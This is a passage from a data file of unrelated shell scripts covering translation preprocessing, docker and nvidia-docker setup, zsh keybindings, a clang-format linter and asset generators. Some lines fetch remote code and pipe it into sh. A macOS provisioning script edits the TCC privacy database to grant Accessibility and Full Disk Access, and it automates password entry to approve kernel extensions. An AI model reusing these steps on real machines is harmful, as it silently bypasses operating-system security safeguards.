rst README.md > README.rst\npython3 setup.py sdist upload"} {"text": "<reponame>purrfectgrape/wmt2021\n#! /bin/bash\n# Author: <NAME>\n# Bash script to apply processing steps to datasets.\n# This processing step doesn't include adding voice tags to the data. The resulting data from this processing file serve as the baseline for our expeirments.\n# This file needs to be refactored later.\n\nDIR=`dirname \"$0\"`\nBASE=$DIR/..\nSRC=ja\nTRG=en\n\nBPE_NUM_OPS=25000\nBPE_VOCAB_THRES=50\n\n\nwhile getopts \":c:\" opt; do\n case $opt in\n c)\n # Based on SOCKEYE's processing steps:\n echo \"Processing $OPTARG data for English\" >&2\n echo \"Normalizing punctuation\"\n cat $BASE/data/$OPTARG-en-raw.txt | $BASE/libraries/moses/scripts/tokenizer/normalize-punctuation.perl -l en > $BASE/data/$OPTARG-en-punc-normalized.txt\n\n echo \"Removing non printing char\"\n cat $BASE/data/$OPTARG-en-punc-normalized.txt | $BASE/libraries/moses/scripts/tokenizer/remove-non-printing-char.perl -l en > $BASE/data/$OPTARG-en-punc-normalized1.txt\n\n echo \"Tokenizing English data\"\n cat $BASE/data/$OPTARG-en-punc-normalized1.txt | $BASE/libraries/moses/scripts/tokenizer/tokenizer.perl -no-escape -l en -protected=$BASE/libraries/moses/scripts/tokenizer/basic-protected-patterns > $BASE/data/$OPTARG-en-tok.txt\n\n echo \"Learn byte pair encoding for English\"\n # Not sure if I can use the same input file for learn-bpe and apply-bpe?\n subword-nmt learn-bpe -s $BPE_NUM_OPS < $BASE/data/$OPTARG-en-tok.txt > $BASE/data/$OPTARG-en-bpe.txt\n subword-nmt apply-bpe -c $BASE/data/$OPTARG-en-bpe.txt < $BASE/data/$OPTARG-en-tok.txt > $BASE/data/$OPTARG-tok-bpe.en\n \n# echo \"Building vocab\"\n# mkdir $BASE/shared_models\n# python3 $BASE/libraries/joeynmt/scripts/build_vocab.py $BASE/data/train-tok-bpe-clean.ja $BASE/data/train-tok-bpe-clean.en --output_path $BASE/shared_models/vocab.txt\n ;;\n \\?)\n echo \"Usage: cmd [-c]\"\n echo \"Options for data processing are train, dev, test, train-para, dev-para, and test-para\"\n ;;\n esac\ndone\n\n# Checking parallel files\necho \"WORD COUNT:\"\nfor c in train dev test train-para dev-para test-para; do\n echo \"corpus: \" $c\n wc -l $BASE/data/$c-tok-bpe.en\n echo \"hiragana: \" $c\n wc -l $BASE/data/$c-tok-bpe-hiragana.en\n echo \"romaji: \" $c\n wc -l $BASE/data/$c-tok-bpe-romaji.en\ndone\n\n#wc -l $BASE/shared_models/*"} {"text": "function split_feature_scenarios() {\n local split_feature_scenarios_FEATURE\n local split_feature_scenarios_FEATURE_FILES=()\n local split_feature_scenarios_FEATURE_FILE\n local split_feature_scenarios_SPLITTED_FILE\n local split_feature_scenarios_SPLITTED_DIR\n\n for split_feature_scenarios_FEATURE in $@\n do\n if [ -d $split_feature_scenarios_FEATURE ]; then\n for split_feature_scenarios_FEATURE_FILE in `find $split_feature_scenarios_FEATURE -type f -name \"*.feature\"`\n do\n split_feature_scenarios $split_feature_scenarios_FEATURE_FILE || return $?\n done\n fi\n done\n\n local split_feature_scenarios_LINES\n local split_feature_scenarios_FIRST_SCENARIO_LINE\n local split_feature_scenarios_CONTENT_BEFORE_FIRST_SCENARIO\n local split_feature_scenarios_LINE\n local split_feature_scenarios_ENDING_LINE\n local split_feature_scenarios_DIRECTORY\n local split_feature_scenarios_SPLITTED_FILE_LINES\n local split_feature_scenarios_EXAMPLES_LINE\n local split_feature_scenarios_SPLITTED_EXAMPLES_DIRECTORY\n local split_feature_scenarios_SPLITTED_EXAMPLES_FILE\n local split_feature_scenarios_SPLITTED_EXAMPLES_FILE_COUNTER\n local split_feature_scenarios_TOTAL_LINES\n for split_feature_scenarios_FEATURE in $@\n do\n if [ -f $split_feature_scenarios_FEATURE ]; then\n split_feature_scenarios_TOTAL_LINES=`echo $(cat $split_feature_scenarios_FEATURE | wc -l)`\n split_feature_scenarios_LINES_REMAINING=`cucumber_scenarios_or_tags_at_lines $split_feature_scenarios_FEATURE`\n split_feature_scenarios_FIRST_SCENARIO_LINE=`echo $split_feature_scenarios_LINES_REMAINING | head -n 1`\n split_feature_scenarios_CONTENT_BEFORE_FIRST_SCENARIO=`cat $split_feature_scenarios_FEATURE | head -n \\`expr $split_feature_scenarios_FIRST_SCENARIO_LINE - 1\\``\n split_feature_scenarios_DIRECTORY=\"${split_feature_scenarios_FEATURE}_splitted\"\n if [ ! -d $split_feature_scenarios_DIRECTORY ]; then\n mkdir $split_feature_scenarios_DIRECTORY\n fi\n for split_feature_scenarios_LINE in `cucumber_scenarios_or_tags_at_lines $split_feature_scenarios_FEATURE`\n do\n split_feature_scenarios_LINES_REMAINING=`echo $split_feature_scenarios_LINES_REMAINING | grep -v \"^$split_feature_scenarios_LINE$\"`\n split_feature_scenarios_ENDING_LINE=`expr \\`echo $split_feature_scenarios_LINES_REMAINING | head -n 1\\` - 1 2>/dev/null`\n if [ $? -gt 0 ]; then\n split_feature_scenarios_ENDING_LINE=$split_feature_scenarios_TOTAL_LINES\n fi\n\n split_feature_scenarios_SPLITTED_FILE=\"$split_feature_scenarios_DIRECTORY/$split_feature_scenarios_LINE.feature\"\n echo $split_feature_scenarios_CONTENT_BEFORE_FIRST_SCENARIO > $split_feature_scenarios_SPLITTED_FILE\n sed -n $split_feature_scenarios_LINE,${split_feature_scenarios_ENDING_LINE}p $split_feature_scenarios_FEATURE >> $split_feature_scenarios_SPLITTED_FILE\n cat $split_feature_scenarios_SPLITTED_FILE | grep -q \"Scenario Outline: \"\n if [ $? -eq 0 ]; then\n split_feature_scenarios_SPLITTED_FILE_LINES=`echo $(cat $split_feature_scenarios_SPLITTED_FILE | wc -l)`\n split_feature_scenarios_SPLITTED_EXAMPLES_DIRECTORY=\"${split_feature_scenarios_SPLITTED_FILE}_examples\"\n if [ ! -d $split_feature_scenarios_SPLITTED_EXAMPLES_DIRECTORY ]; then\n mkdir -p $split_feature_scenarios_SPLITTED_EXAMPLES_DIRECTORY\n fi\n for split_feature_scenarios_EXAMPLES_LINE in `grep -n \"Examples:\" $split_feature_scenarios_SPLITTED_FILE | cut -f 1 -d :`\n do\n split_feature_scenarios_EXAMPLES_LINE=`expr $split_feature_scenarios_EXAMPLES_LINE + 1`\n split_feature_scenarios_SPLITTED_EXAMPLES_FILE_COUNTER=`expr $split_feature_scenarios_EXAMPLES_LINE + 1`\n while [ $split_feature_scenarios_SPLITTED_EXAMPLES_FILE_COUNTER -lt $split_feature_scenarios_SPLITTED_FILE_LINES ]; do\n split_feature_scenarios_SPLITTED_EXAMPLES_FILE=\"$split_feature_scenarios_SPLITTED_EXAMPLES_DIRECTORY/$split_feature_scenarios_SPLITTED_EXAMPLES_FILE_COUNTER.feature\"\n sed -n 1,${split_feature_scenarios_EXAMPLES_LINE}p $split_feature_scenarios_SPLITTED_FILE > $split_feature_scenarios_SPLITTED_EXAMPLES_FILE\n sed -n ${split_feature_scenarios_SPLITTED_EXAMPLES_FILE_COUNTER}p $split_feature_scenarios_SPLITTED_FILE >> $split_feature_scenarios_SPLITTED_EXAMPLES_FILE\n split_feature_scenarios_SPLITTED_EXAMPLES_FILE_COUNTER=`expr $split_feature_scenarios_SPLITTED_EXAMPLES_FILE_COUNTER + 1`\n done\n rm -f $split_feature_scenarios_SPLITTED_FILE\n done\n fi\n done\n echo $split_feature_scenarios_DIRECTORY\n fi\n done\n}"} {"text": "#!/bin/bash\n# author : <NAME>\n# email : <EMAIL>\n#\n# required :\n# - bash\n# - wget\n\n# download files from ftp\nfunction download_ftp() {\n\n release=\"2019_09\"\n\n out_dir=\"\"\n if [ -z $1 ]\n then\n outdir=ebi_mgnify_uhgp90_$release\n else\n outdir=$1/ebi_mgnify_uhgp90_$release\n fi\n mkdir -p $outdir && cd $outdir\n\n echo \"Downloading EBI Mgnify Protein Catalogue $release [$outdir]..\"\n wget http://ftp.ebi.ac.uk/pub/databases/metagenomics/mgnify_genomes/human-gut/v1.0/uhgp_catalogue/uhgp-90.tar.gz\n\n}\n\n# organize files into sub-directories\nfunction organize_files () {\n\n echo -e \"\\n\\nMerging Mgnify Data..\"\n dir=\"$( cd \"$( dirname \"${BASH_SOURCE[0]}\" )\" && pwd )\"\n tar -zxvf uhgp-90.tar.gz uhgp-90/uhgp-90_hq.faa uhgp-90/uhgp-90_eggNOG.tsv\n python $dir/ebi_mgnify_uhgp.py uhgp-90/uhgp-90_hq.faa uhgp-90/uhgp-90_eggNOG.tsv > uhgp-90.tsv\n rm -fr uhgp-90.tar.gz uhgp-90/\n\n}\n\n\ndownload_ftp $1\norganize_files"} {"text": "#!/bin/sh\n\ncwd=`dirname \"$0\"`\nexpr \"$0\" : \"/.*\" > /dev/null || cwd=`(cd \"$cwd\" && pwd)`\n\nMYSQL_USER=\"<mysql user>\"\nMYSQL_PASSWORD=\"<<PASSWORD>>\"\nMYSQL_DATABASE=\"azurevote\" # fixed\nMYSQL_HOST=\"<mysql host>\"\nFLASK_CONFIG_FILE_PATH=\"/app/config_file.cfg\" # default\n\nversion=`cat $cwd/../azure-vote/VERSION`\ntag=\"$version\"\necho \"tag=$tag\"\n\ndocker run --rm \\\n -e MYSQL_USER=$MYSQL_USER \\\n -e MYSQL_PASSWORD=$<PASSWORD> \\\n -e MYSQL_DATABASE=$MYSQL_DATABASE \\\n -e MYSQL_HOST=$MYSQL_HOST \\\n -e FLASK_CONFIG_FILE_PATH=\"$FLASK_CONFIG_FILE_PATH\" \\\n -p 8080:80 -it azure-vote-front:$tag"} {"text": "<gh_stars>1-10\n#!/usr/bin/env bash\n# Licensed to the Apache Software Foundation (ASF) under one\n# or more contributor license agreements. See the NOTICE file\n# distributed with this work for additional information\n# regarding copyright ownership. The ASF licenses this file\n# to you under the Apache License, Version 2.0 (the\n# \"License\"); you may not use this file except in compliance\n# with the License. You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n## @description download nvidia docker bin\n## @audience public\n## @stability stable\nfunction download_nvidia_docker_bin()\n{\n # download http server\n if [[ -n \"$DOWNLOAD_HTTP\" ]]; then\n MY_NVIDIA_DOCKER_RPM_URL=\"${DOWNLOAD_HTTP}/downloads/nvidia-docker/${NVIDIA_DOCKER_RPM}\"\n else\n MY_NVIDIA_DOCKER_RPM_URL=${NVIDIA_DOCKER_RPM_URL}\n fi\n\n if [[ -f \"${DOWNLOAD_DIR}/nvidia-docker/${NVIDIA_DOCKER_RPM}\" ]]; then\n echo \"${DOWNLOAD_DIR}/nvidia-docker/${NVIDIA_DOCKER_RPM} is exist.\"\n else\n echo \"download ${MY_NVIDIA_DOCKER_RPM_URL} ...\"\n wget -P ${DOWNLOAD_DIR}/nvidia-docker/ ${MY_NVIDIA_DOCKER_RPM_URL}\n fi\n}\n\n## @description install nvidia docker\n## @audience public\n## @stability stable\nfunction install_nvidia_docker()\n{\n download_nvidia_docker_bin\n\n sudo rpm -i ${DOWNLOAD_DIR}/nvidia-docker/${NVIDIA_DOCKER_RPM}\n\n echo -e \"\\033[32m===== Start nvidia-docker =====\\033[0m\"\n sudo systemctl start nvidia-docker\n\n echo -e \"\\033[32m===== Check nvidia-docker status =====\\033[0m\"\n systemctl status nvidia-docker\n\n echo -e \"\\033[32m===== Check nvidia-docker log =====\\033[0m\"\n journalctl -u nvidia-docker\n\n echo -e \"\\033[32m===== Test nvidia-docker-plugin =====\\033[0m\"\n curl http://localhost:3476/v1.0/docker/cli\n\n # create nvidia driver library path\n if [ ! -d \"/var/lib/nvidia-docker/volumes/nvidia_driver\" ]; then\n echo \"WARN: /var/lib/nvidia-docker/volumes/nvidia_driver folder path is not exist!\"\n mkdir -p /var/lib/nvidia-docker/volumes/nvidia_driver\n fi\n\n local nvidiaVersion=`get_nvidia_version`\n echo -e \"\\033[31m nvidia detect version is ${nvidiaVersion}\\033[0m\"\n\n mkdir /var/lib/nvidia-docker/volumes/nvidia_driver/${nvidiaVersion}\n mkdir /var/lib/nvidia-docker/volumes/nvidia_driver/${nvidiaVersion}/bin\n mkdir /var/lib/nvidia-docker/volumes/nvidia_driver/${nvidiaVersion}/lib64\n\n cp /usr/bin/nvidia* /var/lib/nvidia-docker/volumes/nvidia_driver/${nvidiaVersion}/bin\n cp /usr/lib64/libcuda* /var/lib/nvidia-docker/volumes/nvidia_driver/${nvidiaVersion}/lib64\n cp /usr/lib64/libnvidia* /var/lib/nvidia-docker/volumes/nvidia_driver/${nvidiaVersion}/lib64\n\n echo -e \"\\033[32m===== Please manually execute the following command =====\\033[0m\"\n echo -e \"\\033[32mshell:> nvidia-docker run --rm ${DOCKER_REGISTRY}/nvidia/cuda:9.0-devel nvidia-smi\n# If you don't see the list of graphics cards above, the NVIDIA driver installation failed. =====\n\\033[0m\"\n\n echo -e \"\\033[32m===== Please manually execute the following command =====\\033[0m\"\n echo -e \"\\033[32m# Test with tf.test.is_gpu_available()\nshell:> nvidia-docker run -it ${DOCKER_REGISTRY}/tensorflow/tensorflow:1.9.0-gpu bash\n# In docker container\ncontainer:> python\npython:> import tensorflow as tf\npython:> tf.test.is_gpu_available()\npython:> exit()\n\\033[0m\"\n}\n\n## @description uninstall nvidia docker\n## @audience public\n## @stability stable\nfunction uninstall_nvidia_docker()\n{\n echo \"This method is not implemented.\"\n}"} {"text": "<filename>cmd/example/client.sh\n#! /bin/bash\n\ngo run client/main.go"} {"text": "<reponame>deshpandeamith/poker\n#!/bin/bash\n\nstart() {\n #update DNS\n curl -X POST https://$USER:$PASSWD@domains.google.com/nic/update?hostname=poker.goli.dev\n echo \n\n #renew certs\n /usr/local/bin/certbot-auto renew\n\n #start server\n cd /home/ec2-user/Poker\n PORT=443 /usr/bin/npm run start \n}\n\nstop() {\n kill $(pidof npm)\n}\n\ncase $1 in\n start|stop) \"$1\" ;;\nesac"} {"text": "#!/usr/bin/env bash\n\ngem install dashing\ndashing new sweet_dashboard_project\ncd sweet_dashboard_project\nbundle"} {"text": "<reponame>ibloe/drive-opcua-docker<gh_stars>0\n#!/bin/bash +e\n# catch signals as PID 1 in a container\n\n# SIGNAL-handler\nterm_handler() {\n\n echo \"terminating ssh ...\"\n /etc/init.d/ssh stop\n\n exit 143; # 128 + 15 -- SIGTERM\n}\n\n# on callback, stop all started processes in term_handler\ntrap 'kill ${!}; term_handler' INT KILL TERM QUIT TSTP STOP HUP\n\n# run applications in the background\necho \"starting ssh ...\"\n/etc/init.d/ssh start\n\necho \"start python drive application\"\nsudo nohup python /home/pi/opc-ua-server/drive.py &\n#sudo python /home/pi/opc-ua-server/drive.py\necho \"starting opc-ua-server\"\n/home/pi/opc-ua-server/StepMotorOpcServer\n\n# wait forever not to exit the container\nwhile true\ndo\n tail -f /dev/null & wait ${!}\ndone\n\nexit 0"} {"text": "<reponame>sseefried/angular-2.0.0-rc4-shallow\n#!/usr/bin/env bash\n\nset -ex -o pipefail\n\nif [[ ${TRAVIS} && ${CI_MODE} != \"browserstack_required\" && ${CI_MODE} != \"browserstack_optional\" ]]; then\n exit 0;\nfi\n\n\necho 'travis_fold:start:test_browserstack'\n\n# Setup environment\ncd `dirname $0`\nsource ./env.sh\ncd ../..\n\n\n./scripts/browserstack/waitfor_tunnel.sh\nexport BROWSER_STACK_ACCESS_KEY=`echo $BROWSER_STACK_ACCESS_KEY | rev`\n$(npm bin)/karma start ./karma-js.conf.js --single-run --browsers=${KARMA_JS_BROWSERS}\n\necho 'travis_fold:end:test_browserstack'"} {"text": "# run to extract tars needed:\n# extracts:\n# GMM input data\n# ASR pretrained model\n# Stemmer larger input\n# Regex inputs\n\nfind . -name '*.tar.gz' -exec sh -c 'tar -xzvf {} -C $(dirname {})' \\;"} {"text": "<gh_stars>0\n#\n# key bindings\n#\n\n# set emacs mode\nbindkey -e\n\n# create a zkbd compatible hash;\n# to add other keys to this hash, see: man 5 terminfo\ntypeset -g -A key\n\n#key[Home]=\"${terminfo[khome]}\"\n#key[End]=\"${terminfo[kend]}\"\n#key[Insert]=\"${terminfo[kich1]}\"\nkey[Backspace]=\"${terminfo[kbs]}\"\nkey[Delete]=\"${terminfo[kdch1]}\"\nkey[Up]=\"${terminfo[kcuu1]}\"\nkey[Down]=\"${terminfo[kcud1]}\"\nkey[Left]=\"${terminfo[kcub1]}\"\nkey[Right]=\"${terminfo[kcuf1]}\"\nkey[PageUp]=\"${terminfo[kpp]}\"\nkey[PageDown]=\"${terminfo[knp]}\"\nkey[ShiftTab]=\"${terminfo[kcbt]}\"\n\n# setup history search\nautoload -Uz up-line-or-beginning-search down-line-or-beginning-search\nzle -N up-line-or-beginning-search\nzle -N down-line-or-beginning-search\n\n# key bindings\n[[ -n \"${key[Backspace]}\" ]] && bindkey -- \"${key[Backspace]}\" backward-delete-char\n[[ -n \"${key[Delete]}\" ]] && bindkey -- \"${key[Delete]}\" delete-char\n[[ -n \"${key[Up]}\" ]] && bindkey -- \"${key[Up]}\" up-line-or-beginning-search\n[[ -n \"${key[Down]}\" ]] && bindkey -- \"${key[Down]}\" down-line-or-beginning-search\n[[ -n \"${key[PageUp]}\" ]] && bindkey -- \"${key[PageUp]}\" up-line-or-history\n[[ -n \"${key[PageDown]}\" ]] && bindkey -- \"${key[PageDown]}\" down-line-or-history\n[[ -n \"${key[ShiftTab]}\" ]] && bindkey -- \"${key[ShiftTab]}\" reverse-menu-complete\nbindkey '^[[1;5C' forward-word # [Ctrl-RightArrow] - move forward one word\nbindkey '^[[1;5D' backward-word # [Ctrl-LeftArrow] - move backward one word\n\n\n# Finally, make sure the terminal is in application mode, when zle is\n# active. Only then are the values from $terminfo valid.\nif (( ${+terminfo[smkx]} && ${+terminfo[rmkx]} )); then\n autoload -Uz add-zle-hook-widget\n zle_application_mode_start() {\n echoti smkx\n }\n zle_application_mode_stop() {\n echoti rmkx\n }\n add-zle-hook-widget -Uz zle-line-init zle_application_mode_start\n add-zle-hook-widget -Uz zle-line-finish zle_application_mode_stop\nfi\n\n# vim: ft=zsh expandtab tabstop=2 shiftwidth=2"} {"text": "#!/bin/bash\n\nset -euo pipefail\n\n# \"script-and-regex.regex\": \"/^(?P<severity>.*?)\\n(?P<message>.*?)\\n(?P<line>\\\\d),(?P<char>\\\\d)(\\n(?P<original>.*?)>>>>\\n(?P<replacement>.*?)<<<<?)$/s\",\n\n# Arcanist linter that invokes clang-format via clang/tools/clang-format/clang-format-diff.py\n# stdout from this script is parsed into a regex and used by Arcanist.\n# https://secure.phabricator.com/book/phabricator/article/arcanist_lint_script_and_regex/\n\n# To skip running all linters when creating/updating a diff, use `arc diff --nolint`.\n\n# advice severity level is completely non-disruptive.\n# switch to warning or error if you want to prompt the user.\nif ! hash clang-format >/dev/null; then\n echo \"advice\"\n echo \"clang-format not found in user’s local PATH; not linting file.\"\n echo \"====\"\n exit 0\nfi\nif ! git rev-parse --git-dir >/dev/null; then\n echo \"advice\"\n echo \"not in git repostitory; not linting file.\"\n echo \"====\"\n exit 0\nfi\n\nsrc_file=\"${1}\"\noriginal_file=\"$(mktemp)\"\nformatted_file=\"$(mktemp)\"\nreadonly src_file\nreadonly original_file\nreadonly formatted_file\ncp -p \"${src_file}\" \"${original_file}\"\ncp -p \"${src_file}\" \"${formatted_file}\"\n\ncleanup() {\n rc=$?\n rm \"${formatted_file}\" \"${original_file}\"\n exit ${rc}\n}\ntrap 'cleanup' INT HUP QUIT TERM EXIT\n\n# Arcanist can filter out lint messages for unchanged lines, but for that, we\n# need to generate line by line lint messages. Instead, we generate one lint\n# message on line 1, char 1 with file content edited using clang-format-diff.py\n#\n# We do not use git-clang-format because it wants to modify the index,\n# and arc is already holding the lock.\n#\n# We do not look for clang-format-diff or clang-format-diff.py in the PATH\n# because whether/how these are installed differs between distributions,\n# and we have an executable copy in the tree anyway.\narc_base_commit=$(arc which --show-base)\ngit diff-index -U0 \"${arc_base_commit}\" \"${src_file}\" \\\n | clang/tools/clang-format/clang-format-diff.py -style file -i -p1\n\ncp -p \"${src_file}\" \"${formatted_file}\"\ncp -p \"${original_file}\" \"${src_file}\"\nif ! diff -q \"${src_file}\" \"${formatted_file}\" > /dev/null ; then\n echo \"autofix\"\n echo \"clang-format suggested style edits found:\"\n echo \"1,1\" # line,char of start of replacement.\n cat \"${src_file}\"\n echo \">>>>\"\n cat \"${formatted_file}\"\n echo \"<<<<\"\nfi"} {"text": "#!/bin/bash\n\nbin=`dirname \"$0\"`\nbin=`cd \"$bin\"; pwd`\n\nactual=\"$bin\"/../actual\nexpected=\"$bin\"/../expected\n\nfor f in $expected/ch11/grunt/*.xml; do\n echo $f\n f_actual=$actual/ch11/grunt/`basename $f`\n diff $f $f_actual > /dev/null\n if [ $? != 0 ]; then\n echo \"Expected file $f different to actual $f_actual:\"\n diff $f $f_actual\n exit 1\n fi\ndone"} {"text": "<gh_stars>1-10\nfunction wrkbench {\n ssh -p \"$WRKPORT\" -i \"$WRKSSH\" \"$WRKUSER@$WRKREMOTE\" wrk -d \"$WRKTIME\" -t \"$WRKTHREAD\" -c \"$WRKCONNS\" \"$WRKURL/$WRKFILE\"\n}"} {"text": "<filename>pyopengl/post-link.sh\n#!/bin/bash\n\ncat <<EOF >> ${PREFIX}/.messages.txt\nThis is an install message from the pyopengl package.\nEOF"} {"text": "<filename>scripts/os_configure.sh\n#!/usr/bin/env bash\nset -euo pipefail\nIFS=$'\\n\\t'\nshopt -s nullglob nocaseglob\n\n# /usr/local/bin\nif ! [[ -d /usr/local/bin ]]; then\n sudo mkdir -p /usr/local/bin\nfi\n\n# install cliclick\n/usr/bin/sudo mv ~/cliclick /usr/local/bin/cliclick\n\n# install tccutil.py\nsudo mv ~/tccutil.py /usr/local/bin/\n\n# get rid of notifications\nlaunchctl unload /System/Library/LaunchAgents/com.apple.notificationcenterui.plist\n\n# Let's try and get rid of a few security warnings and needed approvals\n\nif [[ $(csrutil status) =~ \"disabled\" ]]; then\n\n sudo sqlite3 /Library/Application\\ Support/com.apple.TCC/TCC.db \"INSERT OR REPLACE INTO access(service, client, client_type, auth_value, auth_reason, auth_version, csreq, policy_id, indirect_object_identifier_type, indirect_object_identifier, indirect_object_code_identity, flags, last_modified) VALUES('kTCCServiceAccessibility', '/System/Library/Frameworks/CoreServices.framework/Versions/A/Frameworks/AE.framework/Versions/A/Support/AEServer', 1, 1, 4, 1, x'fade0c000000003000000001000000060000000200000012636f6d2e6170706c652e4145536572766572000000000003', NULL, 0, 'UNUSED', NULL, 0, 1646855925);\"\n sudo sqlite3 /Library/Application\\ Support/com.apple.TCC/TCC.db \"INSERT OR REPLACE INTO access(service, client, client_type, auth_value, auth_reason, auth_version, csreq, policy_id, indirect_object_identifier_type, indirect_object_identifier, indirect_object_code_identity, flags, last_modified) VALUES('kTCCServiceAccessibility', '/Library/Application Support/VMware Tools/vmware-tools-daemon', 1, 2, 4, 1, NULL, NULL, 0, 'UNUSED', NULL, 0, 0);\"\n sudo sqlite3 /Library/Application\\ Support/com.apple.TCC/TCC.db \"INSERT OR REPLACE INTO access(service, client, client_type, auth_value, auth_reason, auth_version, csreq, policy_id, indirect_object_identifier_type, indirect_object_identifier, indirect_object_code_identity, flags, last_modified) VALUES('kTCCServiceAccessibility', '/usr/local/bin/cliclick', 1, 2, 4, 1, NULL, NULL, 0, 'UNUSED', NULL, 0, 0);\"\n sudo sqlite3 /Library/Application\\ Support/com.apple.TCC/TCC.db \"INSERT OR REPLACE INTO access(service, client, client_type, auth_value, auth_reason, auth_version, csreq, policy_id, indirect_object_identifier_type, indirect_object_identifier, indirect_object_code_identity, flags, last_modified) VALUES('kTCCServiceAccessibility', '/usr/libexec/sshd-keygen-wrapper', 1, 2, 4, 1, NULL, NULL, 0, 'UNUSED', NULL, 0, 0);\"\n sudo sqlite3 /Library/Application\\ Support/com.apple.TCC/TCC.db \"INSERT OR REPLACE INTO access(service, client, client_type, auth_value, auth_reason, auth_version, csreq, policy_id, indirect_object_identifier_type, indirect_object_identifier, indirect_object_code_identity, flags, last_modified) VALUES('kTCCServiceDeveloperTool', 'com.apple.Terminal', 0, 0, 4, 1, NULL, NULL, 0, 'UNUSED', NULL, 0, 1646856644);\"\n sudo sqlite3 /Library/Application\\ Support/com.apple.TCC/TCC.db \"INSERT OR REPLACE INTO access(service, client, client_type, auth_value, auth_reason, auth_version, csreq, policy_id, indirect_object_identifier_type, indirect_object_identifier, indirect_object_code_identity, flags, last_modified) VALUES('kTCCServiceSystemPolicyAllFiles', 'com.apple.Terminal', 0, 0, 5, 1, x'fade0c000000003000000001000000060000000200000012636f6d2e6170706c652e5465726d696e616c000000000003', NULL, NULL, 'UNUSED', NULL, 0, 1647143564);\"\n sudo sqlite3 /Library/Application\\ Support/com.apple.TCC/TCC.db \"INSERT OR REPLACE INTO access(service, client, client_type, auth_value, auth_reason, auth_version, csreq, policy_id, indirect_object_identifier_type, indirect_object_identifier, indirect_object_code_identity, flags, last_modified) VALUES('kTCCServiceSystemPolicyAllFiles', '/bin/bash', 0, 0, 5, 1, x'fade0c000000003000000001000000060000000200000012636f6d2e6170706c652e5465726d696e616c000000000003', NULL, NULL, 'UNUSED', NULL, 0, 1647143564);\"\n\n defaults write NSGlobalDomain AppleKeyboardUIMode -int 3\n\n ## use UI automation to approve VMware Kernel Extensions\n # dismiss kernel ext dialog\n /usr/local/bin/cliclick -m verbose c:515,360\n # Open System Preferences to security\n open \"x-apple.systempreferences:com.apple.preference.security?General\"\n sleep 5\n # click lock icon\n /usr/local/bin/cliclick -m verbose c:220,632 w:2000\n # input password\n /usr/local/bin/cliclick -m verbose \"t:${USER_PASSWORD}\" w:2000\n # submit password\n /usr/local/bin/cliclick -m verbose kp:enter w:3000\n # click allow button for kext\n /usr/local/bin/cliclick -m verbose c:750,545 w:2000\n # confirm reboot\n /usr/local/bin/cliclick -m verbose kp:space\n echo \"rebooting\"\n sleep 1\n pkill \"System Preferences\" || true\n # Wait for ssh to stop responding\n sleep 30\nelse\n echo \"sip is enabled skipping some config changes\"\nfi\n\nexit 0"} {"text": "#!/bin/sh\n#apt-get install <package name> -y\n\n#add repository that contains older version of NodeJS\nadd-apt-repository ppa:chris-lea/node.js\n\napt-get update # To get the latest package lists\n\n#install specific version of NodeJS\napt-get install nodejs=0.10.37-1chl1~trusty1 -y\n\n#install MeteorJS vesion 1.0\ncurl \"https://install.meteor.com/?release=1.0\" | sh\n\n#install NGINX\napt-get install nginx"} {"text": "#!/usr/bin/env bash\nset -e\n\nfunction printUsage() {\n echo -e \"Usage: Run command with related environment variable set\"\n echo\n echo -e 'Environment Variable \"$FLUID_FUSE_MOUNTPOINT\" is set:'\n echo -e \" PATH1:PATH2:PATH3...\"\n\n}\n\nfunction main() {\n if [[ -z \"$FLUID_FUSE_MOUNTPOINT\" ]]; then\n printUsage\n exit 1\n fi\n chmod -R 0777 $FLUID_FUSE_MOUNTPOINT\n}\n\nmain \"$@\""} {"text": "# Simple scaling study using polyethylene chain of 1024 atoms and 12,288 atoms\n# using MPI + OpenmP\nexport OMPI_MCA_opal_paffinity_alone=0\nexport OMP_NUM_THREADS=16\nmpirun -np 1 -bynode -x OMP_NUM_THREADS ../bin/CoSP2Parallel --hmatName data/hmatrix.1024.mtx -N 12288 -M 256\nmpirun -np 2 -bynode -x OMP_NUM_THREADS ../bin/CoSP2Parallel --hmatName data/hmatrix.1024.mtx -N 12288 -M 256\nmpirun -np 4 -bynode -x OMP_NUM_THREADS ../bin/CoSP2Parallel --hmatName data/hmatrix.1024.mtx -N 12288 -M 256\nmpirun -np 8 -bynode -x OMP_NUM_THREADS ../bin/CoSP2Parallel --hmatName data/hmatrix.1024.mtx -N 12288 -M 256\nmpirun -np 16 -bynode -x OMP_NUM_THREADS ../bin/CoSP2Parallel --hmatName data/hmatrix.1024.mtx -N 12288 -M 256"} {"text": "#!/usr/bin/env bash\n\nif [ -z `which sed` ]; then\n echo \"Missing sed\"\n exit 1\nfi\n\nif [ -z \"$1\" ]; then\n echo \"Missing short type (e.g. prismarine_brick)\"\n exit 1\nfi\n\nif [ -z \"$2\" ]; then\n LONGTYPE=$1\nelse\n LONGTYPE=$2\nfi\n\nTYPE=$1\nTHISMOD=\"charm\"\nDATA=\"../src/main/resources/data/${THISMOD}\"\nASSETS=\"../src/main/resources/assets/${THISMOD}\"\nSOURCE=\"./slabs_stairs_walls\"\n\ncopy_replace() {\n SRC=$1\n DEST=$2\n IT=$3\n\n cp \"${SRC}\" \"${DEST}\"\n sed -i \"s/LONGTYPE/${LONGTYPE}/g\" \"${DEST}\"\n sed -i \"s/TYPE/${TYPE}/g\" \"${DEST}\"\n sed -i \"s/NAMESPACE/${NAMESPACE}/g\" \"${DEST}\"\n sed -i \"s/THISMOD/${THISMOD}/g\" \"${DEST}\"\n\n if [ -n \"${IT}\" ]; then\n sed -i \"s/?/${IT}/g\" \"${DEST}\"\n fi\n}\n\nadd_tags() {\n # walls\n for f in \"${DATA}/minecraft/tags/blocks/walls.json\"\n do\n if [ -e \"$f\" ]; then\n remove_last_entry \"${f}\" \"]\" \"}\"\n\n {\n echo \" \\\"${THISMOD}:${TYPE}_wall\\\"\";\n echo \" ]\"\n echo \"}\"\n } >> $f\n strip_empty_lines $f\n fi\n done\n}\n\nadd_lang_strings() {\n NAME=\"$(tr '[:lower:]' '[:upper:]' <<< ${TYPE:0:1})${TYPE:1}\"\n LANGFILE=\"${ASSETS}/lang/en_us.json\"\n remove_last_entry \"${LANGFILE}\" \"}\"\n\n # add new lang entries\n {\n echo \" \\\"block.${THISMOD}.${TYPE}_slab\\\": \\\"${NAME} 